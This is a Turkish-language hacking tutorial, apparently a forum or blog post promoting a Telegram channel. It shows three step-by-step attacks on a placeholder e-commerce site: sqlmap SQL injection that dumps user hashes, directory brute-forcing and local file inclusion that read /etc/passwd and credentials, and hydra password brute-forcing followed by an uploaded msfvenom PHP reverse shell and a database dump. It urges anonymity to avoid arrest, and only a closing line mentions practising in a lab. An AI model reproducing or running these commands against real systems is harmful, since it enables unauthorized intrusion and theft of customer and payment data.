-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🧠 BAŞLAMADAN ÖNCE: OPSEC
“Savunması olmayanın saldırısı, sadece intihardır.”
Daha önce yazdığım Anonim Kalma – Her Seviye İçin Delicesine Anonimlik (OPSEC) rehberini okumadıysan, dur ve şimdi oku. Burada anlatacağım saldırıları yaparken kimliğini ifşa etmek istemiyorsan, önce oradaki VPN, Tor, Whonix, Tails ve donanımsal gizlilik adımlarını uygula. Yoksa 2 gün sonra kapında polis var.
✅ Bu rehbere başlamadan önce:
- OPSEC rehberini okudun
- Kendi tehdit modelini belirledin
- En azından VPN + Tor yapılandırmasını yaptın
🎯 HEDEF: target.example.com (Gerçek Site ve Gerçek Çıktılar Yasal Zorunluluktan Değiştirilmiştir)
Açıklama: Küçük bir e-ticaret sitesi. Ürünler var, kullanıcı girişi var, arama var, admin paneli /admin üzerinde. Veritabanı MySQL, arka planda Linux + Apache + PHP.
🔻 1. YOL – SQL ENJEKSİYONU (VERİTABANINI DÖK)
Araç: sqlmap (önceden yüklü değilse: sudo apt install sqlmap)Hedef URL: https://target.example.com/product.php?id=123
Adım 1: Zafiyet varlığını manuel test et
bashcurl "https://target.example.com/product.php?id=123'"
Simüle edilmiş çıktı:
text
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "'123''' at line 1
👉 Gördük. Enjeksiyon açığı var.
Adım 2: sqlmap ile veritabanı isimlerini al
bashsqlmap -u "https://target.example.com/product.php?id=123" --dbs
Simüle edilmiş çıktı:
text
[INFO] testing connection to the target URL
[INFO] heuristic test shows that 'id' parameter might be vulnerable
[INFO] the back-end DBMS is MySQL
[INFO] fetching database names
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] shop_db
[*] sys
🎯 Hedef: shop_db
Adım 3: Tablo isimlerini getir
bashsqlmap -u "https://target.example.com/product.php?id=123" -D shop_db --tables
Çıktı:
text
Database: shop_db
[9 tables]
+------------------+
| products |
| categories |
| users |
| orders |
| payments |
| admin_logs |
| coupons |
| user_sessions |
| config |
+------------------+
🔑 users ve admin_logs ilgimizi çekiyor.
Adım 4: users tablosundaki tüm verileri çek
bashsqlmap -u "https://target.example.com/product.php?id=123" -D shop_db -T users --dump
Simüle edilmiş veri çıktısı (ilk 3 satır):
text
+----+----------------+------------------------------------------+------------------+
| id | username | password_hash | email |
+----+----------------+------------------------------------------+------------------+
| 1 | admin | 5e884898da28047151d0e56f8dc6292773603d... | [email protected]|
| 2 | john_doe | 8d969eef6ecad3c29a3a629280e686cf0c3f5d... | [email protected] |
| 3 | jane_smith | f25a2fc72690b780b2a14e140ef6a9e0e3b4d... | [email protected] |
+----+----------------+------------------------------------------+------------------+
Hash'ler: admin şifresi password (SHA256). Gördük.
🔓 Artık admin panelinde giriş yapabiliriz.
✅ Bu Yoldan Ne Elde Ettik?
- Kullanıcı tablosu (kullanıcı adları, e-postalar, şifre hash'leri)
- Admin hash'i → kırarak admin paneline erişim
🔻 2. YOL – DİREKTÖR TARAMA + LFI (DOSYA ENJEKSİYONU)
Araçlar: gobuster + curlAdım 1: Gizli dizinleri bul
bashgobuster dir -u https://target.example.com -w /usr/share/wordlists/dirb/common.txt -t 50
Simüle edilmiş çıktı:
text
/uploads (Status: 301)
/backup (Status: 301)
/admin (Status: 301)
/includes (Status: 301)
/logs (Status: 301)
/temp (Status: 301)
/backup ilginç.
Adım 2: /backup içindeki dosyaları kontrol et
bashcurl -s https://target.example.com/backup/
Çıktı:
text
Index of /backup/
old_db_dump.sql
config_old.php.bak
Adım 3: config_old.php.bak dosyasını indir
bashwget https://target.example.com/backup/config_old.php.bak
cat config_old.php.bak
Simüle edilmiş içerik:
php
<?php
$db_host = 'localhost';
$db_user = 'shop_admin';
$db_pass = 'SuperSecret2022!';
$db_name = 'shop_db';
?>
🎯 Veritabanı kullanıcı adı ve şifresi düz metin olarak ele geçti. Artık doğrudan MySQL'e bağlanabiliriz.
Adım 4: LFI kontrolü (Local File Inclusion)
Hedefte bir dosya okuma parametresi olabilir. Test ediyoruz:bash
curl "https://target.example.com/view.php?file=../../../../etc/passwd"
Çıktı:
text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
🔓 Zafiyet var. Artık sunucudaki herhangi bir dosyayı okuyabiliriz.
Adım 5: LFI ile kaynak kodunu oku
bashcurl "https://target.example.com/view.php?file=../../../../var/www/html/admin/config.php"
Çıktı: Yine veritabanı şifresi, API anahtarları vs.
✅ Bu Yoldan Ne Elde Ettik?
- Veritabanı bağlantı bilgileri (kullanıcı adı / şifre)
- Sunucu dosyalarını okuma yetkisi
- /etc/passwd → sistem kullanıcıları
🔻 3. YOL – ADMIN PANELİNE SÖZLÜK SALDIRISI + DOSYA YÜKLEME
Araçlar: hydra + metasploit (payload için)Adım 1: Admin paneli giriş sayfasını bul
Bir önceki adımda /admin bulmuştuk. Sayfa:text
Adım 2: hydra ile brute-force (kullanıcı adı: admin)
bashhydra -l admin -P /usr/share/wordlists/rockyou.txt target.example.com http-post-form "/admin/login.php:username=^USER^&password=^PASS^:Login failed"
Simüle edilmiş çıktı:
text
[80][http-post-form] host: target.example.com login: admin password: summer2023
🔓 Şifre summer2023 – çok basit.
Adım 3: Admin panele gir ve dosya yükleme zafiyeti ara
Giriş yaptıktan sonra Ürün Resmi Yükle bölümü var. Sadece .jpg, .png kontrol ediyor ama MIME türü zayıf.Adım 4: PHP reverse shell hazırla
bashmsfvenom -p php/meterpreter_reverse_tcp LHOST=YOUR_IP LPORT=4444 -o shell.php
Dosya adını shell.jpg.php yap.
Adım 5: Dosyayı yükle
Burp Suite ile Content-Type: image/jpeg yaparak yükle.Sunucu cevabı:
text
File uploaded successfully: /uploads/shell.jpg.php
Adım 6: Shell’i çalıştır
bashcurl "https://target.example.com/uploads/shell.jpg.php"
Metasploit listener’da oturum gelir:
text
[*] Meterpreter session 1 opened
meterpreter > sysinfo
Computer : target-server
OS : Linux 5.4.0
Webserver : Apache/2.4.41
User : www-data
🔥 Artık sunucuda komut çalıştırabiliyoruz.
Adım 7: Veritabanını dump’la
bashmeterpreter > shell
$ mysqldump -u shop_admin -p shop_db > /tmp/db_dump.sql
$ cat /tmp/db_dump.sql
Tüm kullanıcılar, siparişler, ödeme bilgileri elimizde.
✅ Bu Yoldan Ne Elde Ettik?
- Tam sunucu erişimi (www-data)
- Veritabanının tam dökümü
- Dosya sisteminde dolaşma yetkisi
- Kalıcılık kurma imkanı (cron job, ssh key)
🧩 ÖZET – ÜÇ YOL, ÜÇ FARKLI GİRİŞ NOKTASI
| Yol | Zafiyet | Araç | Kazanım |
|---|---|---|---|
| 1 | SQL Injection | sqlmap | Veritabanı dökümü, admin hash |
| 2 | Directory brute + LFI | gobuster, curl | DB şifresi, sistem dosyaları |
| 3 | Brute force + File upload | hydra, msfvenom | Reverse shell, tam kontrol |
📢 Hazır Script Değil, GERÇEK BİLGİ
Burada anlattığım her şey saf bilgi. Hazır script kullanmadım, hazır "hack tool" indirmedim. Sana anlattığım her komut, Linux terminalinde yazdığın her satır, benim – ve binlerce güvenlik testçisinin – gerçek hayatta kullandığı şeyler.Hazır script'ler başkasının emeğidir.
Onları kullanmakla bir yere kadar gidersin. Ama bugün burada anlattıklarımı öğrenirsen, kimseye ihtiyacın kalmaz. Her saldırıyı kendin inşa edersin.
🧠 UNUTMA: OPSEC HER ŞEYDİR
Bu üç yoldan herhangi birini uygulamadan önce anonim olduğundan emin ol. Yoksa hedefin güvenlik ekibi senin IP’ni görür ve sabah kahveni içerken kapın çalar.OPSEC rehberini oku:
“Anonim Kal! – Her Seviye İçin Delicesine Anonimlik (OPSEC)”
🎬 VİDEO DESTEĞİ (Konuyla ilgili gerçek kaynaklar)
| Başlık | Link |
|---|---|
| SQLmap ile gerçek SQL injection (The Cyber Mentor) | YouTube |
| Gobuster + LFI pratik senaryo | YouTube |
| Hydra ile form brute force | YouTube |
| Metasploit ile reverse shell | YouTube |
🔚 SON SÖZ
Artık üç farklı yöntemi biliyorsun. Gerisi pratik. Kendi laboratuvarını kur (VirtualBox + Kali + Metasploitable 3 veya DVWA), bu komutları orada dene. Her şey aynen çalışacak.Ve unutma: Savunması olmayanın saldırısı, sadece intihardır.Hedef target.example.com değil, senin kendi kurduğun sistem olmalı.
O zaman hata yapma özgürlüğün var.
Bu rehber, eğitim ve farkındalık için yazılmıştır. Yetkisiz erişim yasa dışıdır. Tüm sorumluluk kullanıcıya aittir.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl